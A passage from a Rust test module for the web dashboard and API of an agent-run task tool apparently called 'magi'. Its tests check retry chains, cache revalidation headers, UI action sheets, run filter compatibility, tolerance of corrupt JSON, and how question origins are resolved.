26323        // carries, downgrade the chip, and link to the run that replaced it —
26324        // not just repeat the list card's own logic under a different name.
26325        // The link is built off `latest_attempt.id`, the server-resolved
26326        // full id, never a bare short string a client would have to guess a
26327        // full run from.
26328        assert!(APP_JS.contains("run.latest_attempt"));
26329        assert!(APP_JS.contains("data-superseded"));
26330        assert!(APP_JS.contains("#/runs/${latest.id}"));
26331    }
26332
26333    #[tokio::test]
26334    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26335        // A -> B -> C, all Blocked except the last. A's immediate successor
26336        // (superseded_by) is B, which is itself unresolved; what an operator
26337        // opening A's page actually needs is where the task's story stands
26338        // *now* - C, not B - without depending on whether C happens to be in
26339        // whatever page of /api/runs the client last cached.
26340        let fx = Fixture::start().await;
26341        let q = fx.queue();
26342        let runs = fx.runs();
26343        let (a, b, c) = (
26344            "20260901-000000-aaaa",
26345            "20260901-000000-bbbb",
26346            "20260901-000000-cccc",
26347        );
26348        write_run(&runs, a, RunStatus::Blocked);
26349        write_run(&runs, b, RunStatus::Blocked);
26350        write_run(&runs, c, RunStatus::Merged);
26351
26352        let mut t = Task::new(
26353            "retried twice".to_owned(),
26354            "do it".to_owned(),
26355            PathBuf::from("/repo"),
26356            Source::Human,
26357        );
26358        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26359        q.put(&mut t).expect("put");
26360
26361        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26362        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26363        assert_eq!(
26364            view["latest_attempt"]["id"], c,
26365            "the chain's current head, not the intermediate Blocked retry"
26366        );
26367        assert_eq!(view["latest_attempt"]["resolved"], true);
26368
26369        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26370        assert_eq!(mid["latest_attempt"]["id"], c);
26371        assert_eq!(mid["latest_attempt"]["resolved"], true);
26372    }
26373
26374    #[tokio::test]
26375    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26376        let fx = Fixture::start().await;
26377        let q = fx.queue();
26378        let runs = fx.runs();
26379
26380        // Still Blocked: the task is not resolved, so the older run must not
26381        // read as settled either.
26382        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26383        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26384        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26385        let mut t1 = Task::new(
26386            "still stuck".to_owned(),
26387            "do it".to_owned(),
26388            PathBuf::from("/repo"),
26389            Source::Human,
26390        );
26391        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26392        q.put(&mut t1).expect("put");
26393        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26394        assert_eq!(view1["latest_attempt"]["resolved"], false);
26395        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26396        assert_eq!(view1["latest_attempt"]["done"], true);
26397
26398        // Still running: the successor exists and must be reported as such.
26399        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26400        write_run(&runs, run_a, RunStatus::Blocked);
26401        write_run(&runs, run_b, RunStatus::Implementing);
26402        let mut t3 = Task::new(
26403            "retrying".to_owned(),
26404            "do it".to_owned(),
26405            PathBuf::from("/repo"),
26406            Source::Human,
26407        );
26408        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26409        q.put(&mut t3).expect("put");
26410        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26411        assert_eq!(view3["latest_attempt"]["id"], run_b);
26412        assert_eq!(view3["latest_attempt"]["resolved"], false);
26413        assert_eq!(view3["latest_attempt"]["done"], false);
26414
26415        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26416        // to check - not a confirmed finish, so this must not read as
26417        // resolved either, even though the run is done in the sense that
26418        // nothing is still running.
26419        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26420        write_run(&runs, noop_a, RunStatus::Blocked);
26421        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26422        let mut t2 = Task::new(
26423            "claims done".to_owned(),
26424            "do it".to_owned(),
26425            PathBuf::from("/repo"),
26426            Source::Human,
26427        );
26428        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26429        q.put(&mut t2).expect("put");
26430        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26431        assert_eq!(
26432            view2["latest_attempt"]["resolved"], false,
26433            "an unverified no-op claim must not read as a confirmed finish"
26434        );
26435
26436        // Front end: an unresolved successor must not carry the "finished
26437        // this work" note or the muted chip treatment.
26438        assert!(APP_JS.contains("latest.resolved"));
26439        // ...but the link to it shows as soon as it exists, labelled by state
26440        // and without the "finished" wording or the muted chip.
26441        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26442        assert!(APP_JS.contains("Latest attempt: "));
26443        assert!(APP_JS.contains("in flight"));
26444        assert!(APP_JS.contains("not resolved"));
26445    }
26446
26447    #[tokio::test]
26448    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26449        let fx = Fixture::start().await;
26450        // No cache header at all meant browsers invented their own policy,
26451        // and one did: a phone went on showing "Candidates must be folded
26452        // before deleting. Run `magi fold` first." - deleted two releases
26453        // earlier - from a deck that no longer contained the sentence. The
26454        // button it named was right there, and unreachable.
26455        let js = fx.get("/app.js").await;
26456        assert_eq!(js.status, 200);
26457        let tag = js
26458            .header("etag")
26459            .expect("an etag to revalidate against")
26460            .to_owned();
26461        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26462        assert_eq!(
26463            js.header("cache-control"),
26464            Some("no-cache, must-revalidate"),
26465            "the phone has to ask every time"
26466        );
26467
26468        // And the asking has to be cheap, or `must-revalidate` just means
26469        // "send the whole interface on every load".
26470        let again = fx
26471            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26472            .await;
26473        assert_eq!(
26474            again.status, 304,
26475            "a deck it already has costs one round trip"
26476        );
26477        assert!(again.body.is_empty(), "304 carries no body");
26478
26479        // A weakened tag from a proxy still matches; a different build does
26480        // not, which is the case that has to deliver the new interface.
26481        let weak = fx
26482            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26483            .await;
26484        assert_eq!(weak.status, 304);
26485        let stale = fx
26486            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26487            .await;
26488        assert_eq!(stale.status, 200, "an older build must be replaced");
26489        assert!(stale.body.contains("renderRunActions"));
26490    }
26491
26492    #[test]
26493    fn the_task_detail_has_an_actions_fab_and_sheet() {
26494        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26495        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26496        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26497        // Shown only on the task route, closed everywhere else.
26498        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26499        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26500        // Refreshed whenever the detail redraws, including the loading state.
26501        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26502        assert!(APP_JS.contains("renderTaskActions(null);"));
26503        // Same action renderers as the Queue card. Bound this check by the
26504        // next function, since additional task controls can grow the sheet.
26505        let (_, sheet) = APP_JS
26506            .split_once("function renderTaskActions(task) {")
26507            .expect("sheet renderer");
26508        let (body, _) = sheet
26509            .split_once("\nfunction openTaskActions() {")
26510            .expect("end of sheet renderer");
26511        assert!(body.contains("changePriority("));
26512        assert!(body.contains("openTaskEdit(task)"));
26513        assert!(body.contains("renderTaskHoldBox(host"));
26514        assert!(body.contains("renderTaskDoneBox(host"));
26515        assert!(body.contains("renderTaskDeleteBox(host"));
26516        assert!(APP_JS.contains("API.priority(id)"));
26517        assert!(APP_JS.contains("API.deleteTask(id)"));
26518        // A deleted task sends the operator back to the queue.
26519        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26520        // A refusal is shown inside the sheet.
26521        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26522    }
26523
26524    #[test]
26525    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26526        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26527        let actions = INDEX_HTML
26528            .find("id=\"run-actions-box\"")
26529            .expect("actions box");
26530        assert!(task < actions, "the task entry comes first in the sheet");
26531        assert!(APP_JS.contains("renderRunTaskEntry"));
26532        assert!(APP_JS.contains("\"Open task \""));
26533        // A run without a task says why there is nothing to open.
26534        assert!(APP_JS.contains("started directly, no task"));
26535        assert!(APP_JS.contains("sheet-task-link"));
26536        assert!(APP_JS.contains("task-chip-link"));
26537    }
26538
26539    #[test]
26540    fn the_deck_never_sends_the_operator_to_a_terminal() {
26541        // The whole point of the phone UI is that a terminal is not needed.
26542        // The delete control used to answer with "Run `magi fold` first."
26543        assert!(
26544            !APP_JS.contains("Run `magi fold` first"),
26545            "the deck must offer the fold, not prescribe a shell command"
26546        );
26547        assert!(APP_JS.contains("foldRun:"));
26548        assert!(APP_JS.contains("resumeRun:"));
26549        assert!(APP_JS.contains("renderRunActions"));
26550
26551        // Folding is destructive and armed in two steps, like deleting.
26552        assert!(APP_JS.contains("armedFold"));
26553        assert!(APP_JS.contains("Yes, fold worktrees"));
26554
26555        // And the copy has to say that the two actions are opposites, because
26556        // folding throws away exactly what a resume would continue from.
26557        assert!(APP_JS.contains("can no longer be resumed"));
26558    }
26559
26560    #[test]
26561    fn a_finished_run_explains_itself_with_its_own_last_line() {
26562        // The deck used to answer "why did this stop?" with a sentence chosen
26563        // by status alone. Run e633 stalled because two judges answered with
26564        // the wrong JSON shape and its card said "The panel collapsed on
26565        // agent quota" - with `quota: []` in the record and a quota-loss
26566        // counter right above it that correctly said nothing.
26567        assert!(
26568            !APP_JS.contains("collapsed on agent quota"),
26569            "a stall must not be explained by a cause the deck did not check"
26570        );
26571        assert!(
26572            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26573            "and a block must not offer a guess with an `or` in it"
26574        );
26575
26576        // The reason it does have is `run.event`, which must reach finished
26577        // runs: gating it on movement hid the recorded truth at the one moment
26578        // the operator is reading the card to find out what happened.
26579        assert!(
26580            APP_JS.contains("setText(r.event, run.event || \"\")"),
26581            "the run's last line is rendered unconditionally"
26582        );
26583        assert!(
26584            !APP_JS.contains("moving && run.event"),
26585            "and never gated on the run still moving"
26586        );
26587
26588        // Quota keeps its own counter, fed by the number actually recorded.
26589        assert!(APP_JS.contains("lost to quota"));
26590    }
26591
26592    /// The runs tree (section) and the state chips (waiting/done) are two
26593    /// independent lenses ANDed together in `renderRuns`, and some pairings
26594    /// can never both be true for any run - every "Landed"/"Ended" run is
26595    /// done by construction, so pairing either with "Active" or "In flight"
26596    /// always rendered zero cards with the filter bar still claiming
26597    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26598    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26599    /// a handful of (waiting, status) shapes standing in for the run
26600    /// lifecycle, because `cargo test` cannot execute the front end.
26601    ///
26602    /// That stand-in list is itself the part that drifted twice in review:
26603    /// once shipped with `waiting: true` paired with a done status the
26604    /// lifecycle cannot produce, then over-corrected into treating every
26605    /// waiting run as never done - which made "Waiting on you" look
26606    /// incompatible with "Done" even for the one real, reachable shape
26607    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26608    /// that combination. This test parses the shapes and the done-rule back
26609    /// out of `APP_JS`, reimplements `runSection` and the five state
26610    /// predicates independently in Rust, and checks the resulting
26611    /// section/filter compatibility table against the lifecycle rules by
26612    /// hand - so either direction of drift fails it again.
26613    #[test]
26614    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26615        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26616        let shapes_body_start =
26617            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26618        let shapes_close = APP_JS[shapes_body_start..]
26619            .find("].map(")
26620            .expect("the shape list is closed by its done-computing .map(...)")
26621            + shapes_body_start;
26622        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26623
26624        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26625        for entry in shapes_src.split('{').skip(1) {
26626            let waiting = entry.contains("waiting: true");
26627            let dead = entry.contains("live: \"dead\"");
26628            let status_at =
26629                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26630            let status_end = entry[status_at..]
26631                .find('"')
26632                .expect("the status string is closed")
26633                + status_at;
26634            let parked = entry.contains("display_status: \"parked\"");
26635            shapes.push((
26636                waiting,
26637                entry[status_at..status_end].to_string(),
26638                dead,
26639                parked,
26640            ));
26641        }
26642        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26643
26644        // The done rule itself (`!["implementing"].includes(shape.status)`),
26645        // read out of the source rather than hardcoded, so a renamed
26646        // in-flight status can't silently make every parsed shape "done".
26647        let done_rule_marker = "done: !";
26648        let done_rule_at = APP_JS[shapes_close..]
26649            .find(done_rule_marker)
26650            .expect("the done rule follows the shape list")
26651            + shapes_close
26652            + done_rule_marker.len();
26653        let includes_at = APP_JS[done_rule_at..]
26654            .find(".includes(shape.status)")
26655            .expect("the done rule ends in .includes(shape.status)")
26656            + done_rule_at;
26657        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26658            .trim()
26659            .trim_start_matches('[')
26660            .trim_end_matches(']')
26661            .split(',')
26662            .map(|s| s.trim().trim_matches('"'))
26663            .filter(|s| !s.is_empty())
26664            .collect();
26665
26666        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26667            .into_iter()
26668            .map(|(waiting, status, dead, parked)| {
26669                let done = !not_done.contains(&status.as_str());
26670                (waiting, status, dead, parked, done)
26671            })
26672            .collect();
26673
26674        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26675        // outright, then merged/ready land, stalled/blocked/failed/
26676        // verified_noop end, and everything else is still in flight.
26677        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26678            if waiting {
26679                return "waiting";
26680            }
26681            if dead
26682                && !parked
26683                && !matches!(
26684                    status,
26685                    "merged"
26686                        | "ready"
26687                        | "stalled"
26688                        | "blocked"
26689                        | "failed"
26690                        | "verified_noop"
26691                        | "superseded"
26692                        | "already_in_base"
26693                )
26694            {
26695                return "stale";
26696            }
26697            match status {
26698                "merged" | "ready" => "landed",
26699                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26700                | "already_in_base" => "ended",
26701                _ => "flight",
26702            }
26703        }
26704
26705        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26706        // way.
26707        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26708            match filter_key {
26709                "active" => !done,
26710                "flight" => !done && !waiting && !dead,
26711                "stale" => !done && !waiting && dead,
26712                "waiting" => waiting,
26713                "done" => done,
26714                "all" => true,
26715                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26716            }
26717        }
26718
26719        let compatible = |section: &str, filter_key: &str| {
26720            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26721                run_section(*waiting, status, *dead, *parked) == section
26722                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26723            })
26724        };
26725
26726        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26727        // (active, flight, stale, waiting, done, all) - hand-derived from the
26728        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26729        // currently contains.
26730        let expected = [
26731            ("waiting", [true, false, false, true, true, true]),
26732            ("stale", [true, false, true, false, false, true]),
26733            ("flight", [true, true, false, false, false, true]),
26734            ("landed", [false, false, false, false, true, true]),
26735            ("ended", [false, false, false, false, true, true]),
26736        ];
26737        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26738
26739        for (section, wants) in expected {
26740            for (filter_key, want) in filter_keys.iter().zip(wants) {
26741                assert_eq!(
26742                    compatible(section, filter_key),
26743                    want,
26744                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26745                );
26746            }
26747        }
26748
26749        // The compatibility check exists only to be acted on: both pickers
26750        // must actually consult it rather than just render its answer.
26751        assert!(
26752            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26753        );
26754        assert!(APP_JS.contains(
26755            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26756        ));
26757        assert!(APP_JS.contains(
26758            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26759        ));
26760    }
26761
26762    #[tokio::test]
26763    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26764        // An operator-named directory - git checkout or not - is never
26765        // second-guessed, even when it does not exist at all: only the
26766        // flag's own unmodified `.` default is ever eligible for discovery.
26767        let dir = tempfile::tempdir().expect("tempdir");
26768        let explicit = dir.path().join("not-a-checkout");
26769        std::fs::create_dir_all(&explicit).expect("create dir");
26770        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26771
26772        let missing = dir.path().join("does-not-exist-at-all");
26773        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26774    }
26775
26776    #[test]
26777    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26778        assert!(APP_JS.contains("function statsDonutArcs"));
26779        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26780        // A bucket click filters by the statuses src/stats.rs counts in it.
26781        assert!(APP_JS.contains("function statusInBucket"));
26782        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26783        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26784        let buckets = [
26785            "merged",
26786            "ready",
26787            "in_progress",
26788            "blocked",
26789            "failed",
26790            "verified_noop",
26791            "superseded",
26792            "stalled",
26793        ];
26794        for key in buckets {
26795            let var = format!("--verdict-{key}:");
26796            // Light, OS-dark and pinned-dark blocks each define it.
26797            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26798            assert!(
26799                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26800                "{key}"
26801            );
26802        }
26803    }
26804
26805    #[tokio::test]
26806    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26807        let dir = tempfile::tempdir().expect("tempdir");
26808        let queue = Queue::at(dir.path().join("queue"));
26809        let talks = Talks::at(dir.path().join("talks"));
26810        std::fs::create_dir_all(queue.root()).unwrap();
26811        std::fs::create_dir_all(talks.root()).unwrap();
26812
26813        // Put a corrupt json file in both stores
26814        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26815        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26816
26817        // Valid task and talk
26818        let mut task = Task::new(
26819            "title".into(),
26820            "inst".into(),
26821            PathBuf::from("/repo"),
26822            Source::Human,
26823        );
26824        task.id = "20261019-123456-abcd".into();
26825        // Write manually so it's a valid file
26826        std::fs::write(
26827            queue.path_of(&task.id),
26828            serde_json::to_string(&task).unwrap(),
26829        )
26830        .unwrap();
26831
26832        let talk_id = "20261019-234567-cdef";
26833        seed_talk_at(&talks, talk_id, "open");
26834
26835        // Exact match should succeed without failing on the corrupt json file
26836        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26837        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26838
26839        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26840        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26841        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26842    }
26843
26844    #[tokio::test]
26845    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26846        let home = tempfile::tempdir().unwrap();
26847        let ui = delta_test_ui(home.path());
26848        // A full history traversal would fail even with no questions.
26849        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26850        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26851        assert!(
26852            questions_list(State(ui.clone()))
26853                .await
26854                .unwrap()
26855                .0
26856                .is_empty()
26857        );
26858        assert!(
26859            question_origins(State(ui.clone()))
26860                .await
26861                .unwrap()
26862                .0
26863                .is_empty()
26864        );
26865        let mut question = Question::new(
26866            "run-history".into(),
26867            "review".into(),
26868            "seat".into(),
26869            "Useful question".into(),
26870            "Useful detail".into(),
26871            vec![],
26872        );
26873        ui.questions.put(&mut question).unwrap();
26874        let core = questions_core(State(ui.clone())).await.unwrap().0;
26875        assert_eq!(core.len(), 1);
26876        assert_eq!(core[0].question.summary, "Useful question");
26877        assert!(!core[0].can_consult_chat);
26878        assert!(core[0].origin_chat.is_none());
26879        assert_eq!(core[0].record_revision, question_record_revision(&question));
26880        assert!(question_origins(State(ui.clone())).await.is_err());
26881        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26882    }
26883
26884    #[tokio::test]
26885    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26886        let home = tempfile::tempdir().unwrap();
26887        let ui = delta_test_ui(home.path());
26888        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26889        let mut parent = Task::new(
26890            "parent".into(),
26891            "body".into(),
26892            PathBuf::from("/repo"),
26893            Source::Agent {
26894                run: chat.clone(),
26895                node: crate::queue::CHAT_NODE.into(),
26896            },
26897        );
26898        parent.id = "parent-task".into();
26899        parent.runs = vec!["parent-run".into()];
26900        ui.queue.put(&mut parent).unwrap();
26901        let mut previous = parent;
26902        for generation in 1..=2 {
26903            let mut child = Task::new(
26904                "child".into(),
26905                "body".into(),
26906                PathBuf::from("/repo"),
26907                Source::Human,
26908            );
26909            child.id = format!("child-task-{generation}");
26910            child.runs = vec![format!("child-run-{generation}")];
26911            child.followup = Some(crate::queue::FollowUp {
26912                origin_task: Some(previous.id.clone()),
26913                run: previous.runs[0].clone(),
26914                pr: String::new(),
26915                findings: vec![],
26916                generation,
26917            });
26918            ui.queue.put(&mut child).unwrap();
26919            previous = child;
26920        }
26921        // A run may have the same spelling as another task's id; its owner
26922        // must not override a typed task reference.
26923        let mut collision = Task::new(
26924            "collision".into(),
26925            String::new(),
26926            PathBuf::from("/repo"),
26927            Source::Human,
26928        );
26929        collision.id = "collision-task".into();
26930        collision.runs = vec![previous.id.clone()];
26931        ui.queue.put(&mut collision).unwrap();
26932        let mut questions = Vec::new();
26933        for (node, reference, expected, eligible) in [
26934            (crate::triage::NODE, previous.id.as_str(), true, false),
26935            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26936            ("review", previous.runs[0].as_str(), true, true),
26937            (
26938                crate::bump::NOTICE_NODE,
26939                previous.runs[0].as_str(),
26940                true,
26941                false,
26942            ),
26943            // Identical text in the wrong reference namespace is not evidence.
26944            ("review", previous.id.as_str(), false, false),
26945            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26946            ("review", "unrelated", false, false),
26947        ] {
26948            let mut q = Question::new(
26949                reference.into(),
26950                node.into(),
26951                "seat".into(),
26952                "Question".into(),
26953                String::new(),
26954                vec![],
26955            );
26956            ui.questions.put(&mut q).unwrap();
26957            questions.push((q, expected, eligible));
26958        }
26959        for (node, reference, associated, eligible) in [
26960            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26961            (
26962                crate::reconcile::NODE,
26963                previous.runs[0].as_str(),
26964                false,
26965                true,
26966            ),
26967            ("implement", previous.id.as_str(), false, false),
26968        ] {
26969            let mut q = Question::new(
26970                reference.into(),
26971                node.into(),
26972                crate::reconcile::SEAT.into(),
26973                "Reconcile".into(),
26974                String::new(),
26975                vec![],
26976            );
26977            ui.questions.put(&mut q).unwrap();
26978            questions.push((q, associated, eligible));
26979        }
26980        let mut release = Question::new(
26981            "release-record".into(),
26982            crate::bump::NOTICE_NODE.into(),
26983            "release-watch".into(),
26984            "Release".into(),
26985            String::new(),
26986            vec![],
26987        );
26988        ui.questions.put(&mut release).unwrap();
26989        let watch = crate::release_watch::WatchState {
26990            question: Some(release.id.clone()),
26991            run: Some(previous.runs[0].clone()),
26992            held_task: Some(previous.id.clone()),
26993            ..Default::default()
26994        };
26995        let watch_dir = home.path().join("release-watch");
26996        std::fs::create_dir_all(&watch_dir).unwrap();
26997        let watch_path = watch_dir.join("watch.json");
26998        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26999        // Ordinary questions and bump notices do not need watch-store I/O.
27000        for batch in [
27001            Vec::new(),
27002            questions.iter().map(|(q, _, _)| q.clone()).collect(),
27003        ] {
27004            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27005            assert!(watches.is_empty());
27006        }
27007        questions.push((release.clone(), true, false));
27008
27009        let views = questions_list(State(ui.clone())).await.unwrap().0;
27010        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27011        for (q, associated, eligible) in &questions {
27012            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27013            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27014            let expected = associated.then_some(chat.as_str());
27015            assert_eq!(
27016                view.origin_chat.as_deref(),
27017                expected,
27018                "{} {}",
27019                q.node,
27020                q.run
27021            );
27022            assert_eq!(origin.origin_chat.as_deref(), expected);
27023            assert_eq!(view.origin_chat_closed, *associated);
27024            assert_eq!(origin.origin_chat_closed, *associated);
27025            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27026            assert_eq!(origin.can_consult_chat, *eligible);
27027        }
27028        // Either saved link independently recovers a release question's owner.
27029        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27030            let link = crate::release_watch::WatchState {
27031                run,
27032                held_task,
27033                ..watch.clone()
27034            };
27035            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27036            let (tasks, talks, watches) =
27037                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27038            assert_eq!(
27039                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27040                    .unwrap()
27041                    .id,
27042                chat,
27043            );
27044            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27045        }
27046        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27047        // Even identical duplicate records are ambiguous: ignore their links.
27048        let duplicate_path = watch_dir.join("duplicate.json");
27049        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27050        let (tasks, talks, watches) =
27051            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27052        assert!(
27053            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27054                .is_none()
27055        );
27056        std::fs::remove_file(duplicate_path).unwrap();
27057        // Another explicit owner is a conflict even if it has no chat.
27058        let mut unrelated = Task::new(
27059            "other".into(),
27060            String::new(),
27061            PathBuf::from("/repo"),
27062            Source::Human,
27063        );
27064        unrelated.id = "unrelated-task".into();
27065        ui.queue.put(&mut unrelated).unwrap();
27066        let mut conflicting = watch.clone();
27067        conflicting.held_task = Some(unrelated.id);
27068        std::fs::write(
27069            watch_dir.join("conflict.json"),
27070            serde_json::to_vec(&conflicting).unwrap(),
27071        )
27072        .unwrap();
27073        let (tasks, talks, watches) =
27074            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27075        assert!(
27076            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27077                .is_none()
27078        );
27079        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27080        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27081        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27082            assert!(origin.origin_chat.is_none());
27083            assert!(!origin.origin_chat_closed);
27084        }
27085    }
27086
27087    #[test]
27088    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27089        let home = tempfile::tempdir().unwrap();
27090        let ui = delta_test_ui(home.path());
27091        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27092        for i in 0..1000 {
27093            let mut task = Task::new(
27094                "unrelated".into(),
27095                "instruction ".repeat(256),
27096                PathBuf::from("/repo"),
27097                Source::Human,
27098            );
27099            task.id = format!("history-{i:04}");
27100            ui.queue.put(&mut task).unwrap();
27101            let id = seed_talk_at(&ui.talks, &task.id, "open");
27102            let mut talk = ui.talks.get(&id).unwrap();
27103            talk.pending = "history ".repeat(256);
27104            ui.talks.put(&mut talk).unwrap();
27105        }
27106        let mut parent = Task::new(
27107            "parent".into(),
27108            "body".into(),
27109            PathBuf::from("/repo"),
27110            Source::Agent {
27111                run: chat_id.clone(),
27112                node: crate::queue::CHAT_NODE.into(),
27113            },
27114        );
27115        parent.id = "task-parent".into();
27116        parent.runs = vec!["run-parent".into()];
27117        ui.queue.put(&mut parent).unwrap();
27118        let mut child = Task::new(
27119            "child".into(),
27120            "body".into(),
27121            PathBuf::from("/repo"),
27122            Source::Human,
27123        );
27124        child.id = "task-child".into();
27125        child.runs = vec!["run-child".into()];
27126        child.followup = Some(crate::queue::FollowUp {
27127            run: "run-parent".into(),
27128            origin_task: Some(parent.id.clone()),
27129            pr: "https://example.invalid/pr/1".into(),
27130            findings: vec![],
27131            generation: 1,
27132        });
27133        ui.queue.put(&mut child).unwrap();
27134        let mut question = Question::new(
27135            child.id.clone(),
27136            crate::conduct::NODE.into(),
27137            "seat".into(),
27138            "Continue?".into(),
27139            String::new(),
27140            vec![],
27141        );
27142        let (tasks, talks, _watches) =
27143            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27144        assert_eq!(tasks.len(), 2);
27145        assert_eq!(talks.len(), 1);
27146        assert_eq!(
27147            ui.monitor.queue_index.lock().unwrap().reparsed,
27148            0,
27149            "exact ancestry bypasses the index"
27150        );
27151        assert_eq!(
27152            crate::consult::origin_talk(&tasks, &talks, &question)
27153                .unwrap()
27154                .id,
27155            chat_id
27156        );
